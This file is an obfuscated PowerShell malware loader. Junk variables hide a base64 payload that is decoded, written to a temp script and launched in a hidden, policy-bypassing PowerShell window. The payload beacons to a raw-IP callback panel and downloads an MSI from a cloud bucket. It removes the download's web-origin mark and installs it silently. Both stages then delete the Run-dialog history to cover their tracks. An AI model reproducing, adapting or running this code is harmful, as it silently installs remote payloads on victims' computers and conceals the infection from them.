$beZXVUQoJ = [math]::Round(8.0157, 2) $ecBLahJiN = 'YLKflUdpjp'.Length $IEesMFWUJ = [System.DateTime]::Now.Ticks $DVzTctjr = [int]('4684') $jSipQXUpev = 'TRxBFcEd'.Replace('qc', 'VF') $dyBVtovwIZ = [math]::Sqrt(6699) $IfvhmA = [guid]::NewGuid().ToString().Substring(0, 8) $nJbjzGdu = 'Cgp0cnkgewogICAgJFVVWFZQID0gW2d1aWRdOjpOZXdHdWlkKCkuVG9TdHJpbmcoIk4iKTsgJGNidSA9ICJodHRwOi8vODkuMzQuOTAuMTU5L2RsLWNhbGxiYWNrL3BlZXZtbnB6LXBzZW5mNXM3LTkyN3VqYTNwLXVleTRleDluL3dpbjY0Lm1zaS8iICsgJFVVWFZQCiAgICAka3ByZWkgPSBbb3JkZXJlZF1Ae30KICAgICR4bGNtcyA9ICJYLVBhbmVsLUNhbGxiYWNrIgogICAgJEViYWdJID0gIjEiCiAgICAka3ByZWlbJHhsY21zXSA9ICRFYmFnSQogICAgJG9EZGUgPSAnSW52b2tlLVdlJzsgJG9EZGUgKz0gJ2JSZXF1ZXN0JwogICAgJiAkb0RkZSAtVXJpICRjYnUgLUhlYWRlcnMgJGtwcmVpIC1Vc2VCYXNpY1BhcnNpbmcgLVRpbWVvdXRTZWMgMTUgfCBPdXQtTnVsbAp9IGNhdGNoIHsKICAgIHRyeSB7CiAgICAgICAgJHNYdGZ1ID0gTmV3LU9iamVjdCAoJ05ldC4nICsgJ1dlYkNsaWVudCcpCiAgICAgICAgJHNYdGZ1LkhlYWRlcnMuQWRkKCR4bGNtcywgJEViYWdJKQogICAgICAgIFt2b2lkXSRzWHRmdS5Eb3dubG9hZFN0cmluZygkY2J1KQogICAgICAgICRzWHRmdS5EaXNwb3NlKCkKICAgIH0gY2F0Y2ggewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRYaFJveSA9IFtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJGNidSkKICAgICAgICAgICAgJFhoUm95Lk1ldGhvZCA9ICdHRVQnCiAgICAgICAgICAgICRYaFJveS5UaW1lb3V0ID0gMTUwMDAKICAgICAgICAgICAgJFhoUm9' $QNUJXkwg = 'QLhFYBRWmQzwyDpo' $nHXZzdFWHl = '5LkhlYWRlcnMuQWRkKCR4bGNtcywgJEViYWdJKQogICAgICAgICAgICAkciA9ICRYaFJveS5HZXRSZXNwb25zZSgpCiAgICAgICAgICAgICRyLkNsb3NlKCkKICAgICAgICB9IGNhdGNoIHsgfQogICAgfQp9CiR4Q251UEkgPSBKb2luLVBhdGggJGVudjpMT0NBTEFQUERBVEEgIlJ1bnRpbWVIb3N0IgpOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1QYXRoICR4Q251UEkgLUZvcmNlIHwgT3V0LU51bGwKZnVuY3Rpb24gY2V1bEZMem50Q3cgewogICAgcGFyYW0oW3N0cmluZ10kdSwgW3N0cmluZ10kcCkKICAgICRvblRxRyA9ICRmYWxzZQogICAgJGNOWVZ6ID0gIlgtUGFuZWwtSW50ZXJuYWwiCiAgICAkV0Jxdk0gPSAiMSIKICAgICREcUx4ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjMuMC4wLjAgU2FmYXJpLzUzNy4zNiBFZGcvMTIzLjAuMC4wIgogICAgW05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdOjpUbHMxMgogICAgMS4uMyB8IEZvckVhY2gtT2JqZWN0IHsKICAgICAgICBpZiAoJG9uVHFHKSB7IHJldHVybiB9CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgJGdPWVhpID0gW29yZGVyZWRdQHt9CiAgICAgICAgICAgICRnT1lYaVsiVXNlci1BZ2VudCJdID0gJERxTHgKICAgIC' $rCrTaTY = @('WjTIS', 'tcnUK', 'VeNzQ') $UpBFJr = 'AgICAgICAgJGdPWVhpWyRjTllWel0gPSAkV0Jxdk0KICAgICAgICAgICAgJHhJQUMgPSAnSW52b2tlLVdlJzsgJHhJQUMgKz0gJ2JSZXF1ZXN0JwogICAgICAgICAgICAmICR4SUFDIC1VcmkgJHUgLUhlYWRlcnMgJGdPWVhpIC1Vc2VCYXNpY1BhcnNpbmcgLVRpbWVvdXRTZWMgMTgwMCAtT3V0RmlsZSAkcAogICAgICAgICAgICBpZiAoKFRlc3QtUGF0aCAkcCkgLWFuZCAoKEdldC1JdGVtICRwKS5MZW5ndGggLWd0IDApKSB7ICRvblRxRyA9ICR0cnVlIH0KICAgICAgICB9IGNhdGNoIHsKICAgICAgICAgICAgU3RhcnQtU2xlZXAgLVNlY29uZHMgMgogICAgICAgIH0KICAgIH0KICAgIGlmICgtbm90ICRvblRxRykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRqckVBdCA9IE5ldy1PYmplY3QgKCdOZXQuJyArICdXZWJDbGllbnQnKQogICAgICAgICAgICAkanJFQXQuSGVhZGVycy5BZGQoIlVzZXItQWdlbnQiLCAkRHFMeCkKICAgICAgICAgICAgJGpyRUF0LkhlYWRlcnMuQWRkKCRjTllWeiwgJFdCcXZNKQogICAgICAgICAgICAkanJFQXQuRG93bmxvYWRGaWxlKCR1LCAkcCkKICAgICAgICAgICAgaWYgKChUZXN0LVBhdGggJHApIC1hbmQgKChHZXQtSXRlbSAkcCkuTGVuZ3RoIC1ndCAwKSkgeyAkb25UcUcgPSAkdHJ1ZSB9CiAgICAgICAgfSBjYXRjaCB7IH0KICAgIH0KICAgIHJldHVybiAkb25UcUcKfQoKZnVuY3Rpb24gT3VidkJxRWR2QSB7CiAgICBwYXJhbShbc3RyaW5nXSRwK' $rFFUpuAKa = [math]::Sqrt(9904) $ATkqNLyo = 'QogICAgZm9yICgkdz0wOyAkdyAtbHQgMTI7ICR3KyspIHsgaWYgKChUZXN0LVBhdGggJHApIC1hbmQgKChHZXQtSXRlbSAkcCkuTGVuZ3RoIC1ndCAwKSkgeyBicmVhayB9OyBTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDQwMCB9CmlmICgtbm90IChUZXN0LVBhdGggJHApKSB7IHJldHVybiB9CnRyeSB7IFVuYmxvY2stRmlsZSAtUGF0aCAkcCAtRUEgMCB9IGNhdGNoIHsgfQp0cnkgeyBSZW1vdmUtSXRlbSAtUGF0aCAkcCAtU3RyZWFtIFpvbmUuSWRlbnRpZmllciAtRUEgMCB9IGNhdGNoIHsgfQogICAgJHBXbVkgPSBKb2luLVBhdGggJGVudjpTeXN0ZW1Sb290ICgiU3lzdGVtMzJcIiArICJtc2kiICsgImV4ZWMuZXhlIikKICAgIFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwV21ZIC1Bcmd1bWVudExpc3QgQCgiL2kiLCAkcCwgIi9xbiIsICIvbm9yZXN0YXJ0IikgLVdpbmRvd1N0eWxlIEhpZGRlbiAtV2FpdAp9CiRTUURHRkogPSAiaHR0cHM6Ly9wdWItMTNkOTVlZDJjZTE2NDRkYjk2ZDQxOTRjMDQyNjY1OGQucjIuZGV2L3dpbjY0Lm1zaSIKJFV6RHJkUyA9IEpvaW4tUGF0aCAkeENudVBJICJ3aW42NC5tc2kiCmlmICgmIGNldWxGTHpudEN3ICRTUURHRkogJFV6RHJkUykgewogICAgJiBPdWJ2QnFFZHZBICRVekRyZFMKfQpyZWcgZGVsZXRlICJIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXFJ1bk1SVSIgL3ZhIC9mIDI+JG51bGwK' $DkmbHKzs = $nJbjzGdu + $nHXZzdFWHl + $UpBFJr + $ATkqNLyo $gyakQE = [Text.Encoding]::UTF8 $xzGRZjjj = $gyakQE.GetString([Convert]::FromBase64String($DkmbHKzs)) $QWqtWKEHpP = 23 * 75 $QNUJXkwg = 'QLhFYBRWmQzwyDpo' $rCrTaTY = @('WjTIS', 'tcnUK', 'VeNzQ') $rFFUpuAKa = [math]::Sqrt(9904) $WFBshCWOMMD = [math]::Sqrt(5225) $AtjAbit = 'WcekplKN'.Replace('oz', 'eo') $ieOupgiS = Join-Path $env:TEMP ([IO.Path]::GetRandomFileName() + '.ps1') [IO.File]::WriteAllText($ieOupgiS, $xzGRZjjj, (New-Object System.Text.UTF8Encoding $false)) $hHoXg = New-Object System.Diagnostics.ProcessStartInfo $hHoXg.FileName = 'powershell.exe' $hHoXg.Arguments = '-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "' + $ieOupgiS + '"' $hHoXg.WindowStyle = 'Hidden' [Diagnostics.Process]::Start($hHoXg) | Out-Null $IEesMFWUJ = [System.DateTime]::Now.Ticks $DVzTctjr = [int]('4684') $jSipQXUpev = 'TRxBFcEd'.Replace('qc', 'VF') $dyBVtovwIZ = [math]::Sqrt(6699) $IfvhmA = [guid]::NewGuid().ToString().Substring(0, 8) $QWqtWKEHpP = 23 * 75 $QNUJXkwg = 'QLhFYBRWmQzwyDpo' reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f 2>$null